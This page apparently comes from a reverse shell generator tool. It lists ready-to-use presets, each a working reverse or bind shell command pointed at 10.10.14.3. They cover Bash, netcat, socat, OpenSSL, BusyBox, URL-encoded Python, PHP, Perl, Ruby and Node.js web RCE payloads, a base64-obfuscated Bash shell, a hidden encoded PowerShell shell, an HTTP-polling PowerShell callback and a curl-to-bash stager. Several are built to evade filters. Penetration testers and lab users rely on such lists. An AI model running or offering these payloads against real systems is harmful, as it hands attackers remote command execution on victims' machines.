Collections

Ready-to-use presets and your saved reverse shell configurations.

Ready-to-use reverse shells

Load a preset into the builder, adapt LHOST/LPORT, and save your own copy.

Search presets

Linux Bash /dev/tcp

Classic Bash reverse shell for Linux targets where Bash supports /dev/tcp.

linuxbashclassic

/bin/bash -i >& /dev/tcp/10.10.14.3/4444 0>&1

Linux netcat mkfifo

Portable netcat fallback for builds without the -e option.

linuxnetcatfallback

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 4444 >/tmp/f

Web RCE Python 3

Python reverse shell suited for command injection and web RCE contexts.

multipythonweb RCE

python3%20-c%20'import%20os%2Csocket%2Csubprocess%3Bs%3Dsocket.socket()%3Bs.connect((%2210.10.14.3%22%2C4444))%3B%5Bos.dup2(s.fileno()%2Cfd)%20for%20fd%20in%20(0%2C1%2C2)%5D%3Bsubprocess.call(%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D)'

Web RCE PHP

PHP proc_open payload for environments where PHP execution is available.

multiphpweb RCE

php%20-r%20'%24s%3Dfsockopen(%2210.10.14.3%22%2C4444)%3Bproc_open(%22%2Fbin%2Fsh%20-i%22%2C%20array(0%3D%3E%24s%2C%201%3D%3E%24s%2C%202%3D%3E%24s)%2C%24p)%3B'

Obfuscated Bash base64

Bash payload wrapped in base64 decode for filter-sensitive shells.

linuxbashobfuscation

echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjMvNDQ0NCAwPiYx | base64 -d | /bin/bash

Bash no-space '${IFS}'

Bash payload with spaces replaced by '${IFS}' for simple space filters.

linuxbashobfuscation

/bin/bash${IFS}-i${IFS}>&${IFS}/dev/tcp/10.10.14.3/4444${IFS}0>&1

Windows PowerShell encoded

PowerShell TCPClient payload encoded as UTF-16LE base64 for -EncodedCommand.

windowspowershellobfuscation

powershell -NoP -NonI -W Hidden -Enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4AMwAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAnAFAAUwAgACcAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

Linux socat PTY

Socat payload that starts closer to an interactive TTY from the first callback.

linuxsocatTTY

socat exec:'/bin/bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.3:4444

Windows HoaxShell-style

HTTP polling PowerShell callback for lab environments where raw TCP egress is blocked.

windowspowershellHTTPstaged

powershell -NoP -NonI -W Hidden -Command "$u='http://10.10.14.3:8080';while($true){try{$r=iwr -UseBasicParsing $u;$c=$r.Content;if($c){$o=iex $c 2>&1 | Out-String;iwr -UseBasicParsing -Method POST -Body $o $u}}catch{};Start-Sleep -Seconds 2}"

Linux curl staged

Fetch a prepared rs.sh second-stage script from your HTTP server.

linuxbashstaged

curl -fsSL http://10.10.14.3:8000/rs.sh | /bin/bash

Web RCE Perl

Perl reverse shell for targets with Perl and outbound TCP access.

multiperlweb RCE

perl%20-MIO%20-e%20'%24c%3Dnew%20IO%3A%3ASocket%3A%3AINET(PeerAddr%2C%2210.10.14.3%3A4444%22)%3BSTDIN-%3Efdopen(%24c%2Cr)%3B%24~-%3Efdopen(%24c%2Cw)%3Bsystem(%22%2Fbin%2Fsh%20-i%22)%3B'

Web RCE Ruby

Ruby TCPSocket payload for targets where Ruby is available.

multirubyweb RCE

ruby%20-rsocket%20-e%20'exit%20if%20fork%3Bc%3DTCPSocket.new(%2210.10.14.3%22%2C%224444%22)%3Bwhile(cmd%3Dc.gets)%3BIO.popen(cmd%2C%22r%22)%7B%7Cio%7Cc.print%20io.read%7Dend'

Bind shell netcat -e

Bind shell preset for isolated labs where the operator connects inbound.

multibindnetcat

nc -lvnp 4444 -e /bin/sh

Bind shell Python 3

Python bind shell fallback when netcat -e is unavailable.

multibindpython

python3 -c 'import os,socket,subprocess as p;s=socket.socket();s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1);s.bind(("0.0.0.0",4444));s.listen(1);c,a=s.accept();[os.dup2(c.fileno(),fd) for fd in (0,1,2)];p.call(["/bin/sh","-i"])'

Web RCE Node.js

Node.js reverse shell for targets with server-side JavaScript execution.

multinodeweb RCE

node%20-e%20%22const%20net%3Drequire('net')%2Ccp%3Drequire('child_process')%2Csh%3Dcp.spawn('%2Fbin%2Fsh'%2C%5B'-i'%5D)%3Bconst%20c%3Dnew%20net.Socket()%3Bc.connect(4444%2C'10.10.14.3'%2C()%3D%3E%7Bc.pipe(sh.stdin)%3Bsh.stdout.pipe(c)%3Bsh.stderr.pipe(c)%7D)%3B%22

Linux OpenSSL FIFO

TLS callback using openssl s_client and a named pipe.

linuxopensslTLS

rm -f /tmp/rs;mkfifo /tmp/rs;/bin/sh -i < /tmp/rs 2>&1 | openssl s_client -quiet -connect 10.10.14.3:443 > /tmp/rs;rm /tmp/rs

Linux BusyBox nc

Compact BusyBox netcat payload for minimal Linux environments.

linuxnetcatbusybox

busybox nc 10.10.14.3 4444 -e /bin/sh

Collections

Ready-to-use reverse shells

Saved Collections